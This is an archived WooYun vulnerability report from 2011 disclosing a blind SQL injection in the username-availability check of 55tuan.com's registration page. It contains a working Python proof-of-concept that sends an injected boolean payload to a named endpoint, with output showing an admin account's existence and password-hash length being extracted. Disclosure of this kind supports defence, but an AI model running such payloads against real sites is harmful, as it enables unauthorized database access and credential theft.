当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-02676

漏洞标题:55tuan SQL 注入漏洞

相关厂商:窝窝团

漏洞作者: Matrix

提交时间:2011-08-16 07:33

修复时间:2011-09-15 07:34

公开时间:2011-09-15 07:34

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:9

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-08-16: 细节已通知厂商并且等待厂商处理中
2011-08-17: 厂商已经确认,细节仅向厂商公开
2011-08-27: 细节向核心白帽子及相关领域专家公开
2011-09-06: 细节向普通白帽子公开
2011-09-16: 细节向实习白帽子公开
2011-09-15: 细节向公众公开

简要描述:

55tuan.com 存在SQL 注入漏洞

详细说明:

注册页面 校验email和用户名的地方使用了Ajax POST 数据到服务器端检测,但是过滤仅在客户端进行。使用脚本或者浏览器工具可以轻松绕过。
以下为测试代码(python):

import httplib, urllib
import sys
if len(sys.argv) < 2:
exit(0)
headers = {
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.8",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://hangzhou.55tuan.com",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
"Cookie": "55tuan_uuid=3a0c2fad-6b10-4ade-89e2-15d94ef4647b",
}
params=urllib.urlencode({
"username":"adminccc' or (%s)or '4'='3" % (sys.argv[1]),
})
conn = httplib.HTTPConnection('hangzhou.55tuan.com:80')
conn.request("POST", "/check.do?method=checkUsernameRepeatAction", params, headers)
response = conn.getresponse()
data = response.read()
print data


从探测过程看,似乎后台对SQL 做了一定的保护,或者是有其他逻辑影响。因此采用'adminccc' or (%s) or '4'='3' 三个或条件来测试。由于adminccc 用户目前没有注册因此第一个条件是不成立的,'4'='3' 也是不成立的。实际测试结果仅为括号内条件

漏洞证明:

运行脚本:
D:\>post_test.py "username='admin'"
true
返回true 说明存在admin用户
D:\>post_test.py "username='admin' and length(password)=31"
false
D:\>post_test.py "username='admin' and length(password)=32"
true
说明密码长度是32字节,估计是MD5 不继续做修改性测试:如通过SQL修改密码
ps: username password 字段纯属猜测得到,没有通过查询系统表

修复方案:

建议后台增加SQL语句过滤。

版权声明:转载请注明来源 Matrix@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2011-08-17 10:03

厂商回复:

以解决

最新状态:

暂无